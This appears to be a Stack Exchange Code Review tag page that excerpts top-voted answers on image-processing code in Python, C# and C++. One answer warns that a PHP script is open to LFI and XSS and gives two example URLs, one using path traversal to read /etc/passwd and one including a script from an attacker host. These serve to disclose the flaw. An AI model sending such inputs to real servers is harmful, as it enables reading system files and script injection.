# Tag Info

45

I'm going to reuse some parts of the answer I recently posted here on Code Review. Losing your Loops (Most) loops are damn slow in Python. Especially multiple nested loops. NumPy can help to vectorize your code, i.e. in this case that more of the looping is done in the C backend instead of in the Python interpreter. I would highly recommend to ...

37

Not much to improve upon, just some minor housekeeping. Help the end user! If I was using this script, and forgot to put one or both of the filepaths when calling the script, there would be this error: IndexError: list index out of range. This error wouldn't help the user in a significant way. Consider this: try: path1 = sys.argv[1] path2 = sys....

31

The variable names path1 and path2 are bad since they are not as descriptive as possible. They should rather be srcdir and dstdir (if you prefer abbreviations), or source_directory and destination_directory if you want to have them spelled out. Instead of manipulating strings, it's better to use the pathlib library, which has the handy function with_suffix. ...

26

Unqualified names The namespace identifier is missing from a lot of names - e.g. std::sqrt, std::log, std::abs, std::stoi, std::stod. It's not portable to rely on the unqualified names being defined. Input parser A lot of this is unnecessarily verbose. There's no need to write this->tokens all the time when tokens is perfectly clear. For example, I'd ...

23

You can use NumPy module that's good with arrays and matrices. It has a built-in for exactly that purpose - import numpy as np np.rot90(image).tolist() With array manipulations, that's essentially same as performing matrix/array transpose and then flipping the rows - np.asarray(image).T[::-1].tolist() If the input is already an array, we can skip the ...

22

I believe the time complexity is $O(n^2)$, but I'd like to know for sure There's a general method for figuring out the time complexity for a piece of code, which is to annotate each line with the count of times it executes, and the average time it takes to execute, and then multiply and add. Before we do this it helps to rewrite the code so that just one ...

20

This will cover performance, as well as Python style. Save constants in one place You currently have the magic numbers 2000 and 3000, the resolution of your image. Save these to variables perhaps named X, Y or W, H. Mention your requirements You don't just rely on Python 3 and Jupyter - you rely on numpy and pillow. These should go in a requirements.txt ...

19

Your algorithm to calculate the final image dimensions could be improved by simplifying the logical process that you use to determine the final size. Fundamentally, there are two dimensions you are interested in, the height, and width of the final image. There are two possible outcomes for the scaling, one where the scaling produces the target height, and ...

17

Conclusion 2011-12-05: I tried all of the suggestions again with VS 2010 Express. The generated code didn't change much, but the register assignments did which affected the overall results. A slight modification of the straightforward implementation suggested by Ira Baxter came up the winner. inline BYTE Clamp(int n) { n = n>255 ? 255 : n; ...

17

These using directives are not needed and can be safely removed: using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Linq; using System.Text; using System.Threading.Tasks; Method names should be PascalCase: getBackgroundURL => GetImageUrl websiteExists => WebsiteExists getResolutionExtension => ...

17

Try using HSV/HSL to represent color instead of RGB. You can then define violet as some hue range, e.g. 250° to 310° and similarly for saturation and lightness/value. Always use a using when you have tempoary disposable resources like a Bitmap Variables in C# are camelCase: Boolean colourFound = false; Bitmap selectedImage = new Bitmap(picture.Image); ...

16

To steal an old quote: "There are 2 hard things in computer science. Naming, cache invalidation, and off-by-one errors". That being said, there is room for improvement here. Firstly, I'm assuming the class name, PPM, is short for Portable Pixmap Format. However, this isn't immediately obvious, and if you aren't familiar with that format (I'm not), it ...

16

Apart from what's already mentioned I would like to point out that the file super.picture.jpg will be converted to super.png That can be a problem if someone runs your program in a loop and iterates through a folder with files named anniversary.1.jpg anniversary.2.jpg.... Instead, because you have used endswith('.jpg') you can just use a substring of ...

15

Like I said before, the reason why this takes a lot of time is because the number of steps is proportional to the square of the number of disks. But there are some other improvements to be made to this code. range list(reversed(range(1, args.disks + 1))) can be done more easily as list(range(disks, 0, -1)) Global variables Your image saving algorithm ...

14

You can use the LockBits method and pointers to access the image data directly. Example for 24 bpp images: bool equals = true; Rectangle rect = new Rectangle(0, 0, bmp1.Width, bmp1.Height); BitmapData bmpData1 = bmp1.LockBits(rect, ImageLockMode.ReadOnly, bmp1.PixelFormat); BitmapData bmpData2 = bmp2.LockBits(rect, ImageLockMode.ReadOnly, bmp2.PixelFormat);...

14

Your code is vulnerable to LFI and XSS. http://localhost/yourscript.php?url=../../../../../../etc/passwd This would load the local file /etc/passwd and display it. http://localhost/yourscript.php?url=http://attacker.com/xss.php This would load and display the remote file xss.php, which would lead to XSS. For better solutions, see eg here. When ...

14

Naturally, you can use a dictionary to map extensions to file types: "jpg" -> ImageFileType.Jpeg "jpeg" -> ImageFileType.Jpeg "bmp" -> ImageFileType.Bmp "gif" -> ImageFileType.Gif ... and so on If the key fileExtension exists in the dictionary, you set sourceImage.ImageInfo.ImageFileType to the mapped file type, otherwise simply do nothing. That will get ...

14

Indent your loop bodies. Actually check ret - you're uselessly assigning and discarding it every time. Use better variable names: avoid single letters (Y, k, l) and generic names (index) It appears all the work of your code is inside four nested loops: Try to vectorise - rewrite the inner block to operate on muliple pixels/components/chromas simultaneously. ...

14

I don't know how good the C# compiler and runtime optimize this code out of the box, so here is what I would try: Load bitmap.Width, bitmap.Height and bitmapData.Stride into local variables. Swap the two for loops, making x the inner loop. Memory accesses are now linear instead of jumping around (to see this, print the array index in your current code). ...

14

There's already a good answer, so I'm just going to raise a couple of small points. I had the same thought as Toby Speight about saving the square root of abs(z), but I would apply it also in the logarithm and avoid re-evaluating a known value. This may be taking micro-optimisation too far, but you can judge for yourself whether you think the hit to ...

14

This is a tip I make a lot, but if you have a collection that's simply tracking "membership", and you don't care about order, you should consider using a Set over a List. I think this is the case for cell.linked_cells. The only thing you ever do with cell.linked_cells is do in membership tests, and add and remove from it. Make the following changes: ...

13

1. Comments on your code For most of your functions, you've written a comment describing what it does. It's usual in Python to put this in a docstring, so that a user can get at it from the interactive interpreter using the help function. The function rotate relies on a global variable draw. This makes it hard to reuse and test. (And you couldn't use it in ...

13

Here is my CSS Well, no, actually. That's your HTML - it just happens to have some style attributes. Which it shouldn't have. So step one, separate CSS and HTML. Use a <style> element in the <head> element, or better yet, include the CSS from a separate file. Don't inline your styling. But for experiment purposes, you could try re-making your ...

13

The ´var´ keyword: From the C# Programming Guide: The var keyword can also be useful when the specific type of the variable is tedious to type on the keyboard, or is obvious, or does not add to the readability of the code. So lines like: int threshold = 7; Bitmap bitmap0 = (Bitmap)imag.Clone(); would become: var threshold = 7; var bitmap0 = (Bitmap)...

13

Readability The readability of the code could be slightly improved by adding a new line before the unsafe. Assigning the Rectangle which is used to call LockBits() to a local variable will make the call to LockBits() more readable as well because it doesn't sprawl over two lines. Performance Why do you create a new Bitmap out of the passed Image if the ...

13

Performance can definitely be improved, but it's a case of how far you want to take the tradeoff. First, though, note that Bitmap is IDisposable. If you create a new one, you're responsible for disposing it, typically with a using. Bearing in mind Heslacher's point about casting being faster than copying, and correcting it to account for the fact that not ...

13

Use conditional indexing: RED, GREEN, BLUE = (2, 1, 0) # Your numbers empty_img = numpy.zeros((height, width, 3), numpy.uint8) reds = img[:, :, RED] greens = img[:, :, GREEN] blues = img[:, :, BLUE] empty_img[(greens < 35) | (reds <= greens >= blues)][BLUE] = 255 Edit: empty_img[(greens < 35) | ((reds <= greens) & (blues <= greens)...

13

Here are some suggestions for improving the code. Use all required #includes The code uses vector but doesn't include the corresponding header. The code should have #include <vector> Use <cmath> instead of <math.h> The difference between the two forms is that the former defines things within the std:: namespace versus into the global ...

12

One thing I have done in the past is to convert the images to 64-bit encoded strings and just string compare. It won't be as fast as using pointers, naturally. However, it can be done entirely in managed code, it doesn't require you to know bits per pixel, and it works for the Image base class. byte[] image1Bytes; byte[] image2Bytes; using(var mstream = ...

Only top voted, non community-wiki answers of a minimum length are eligible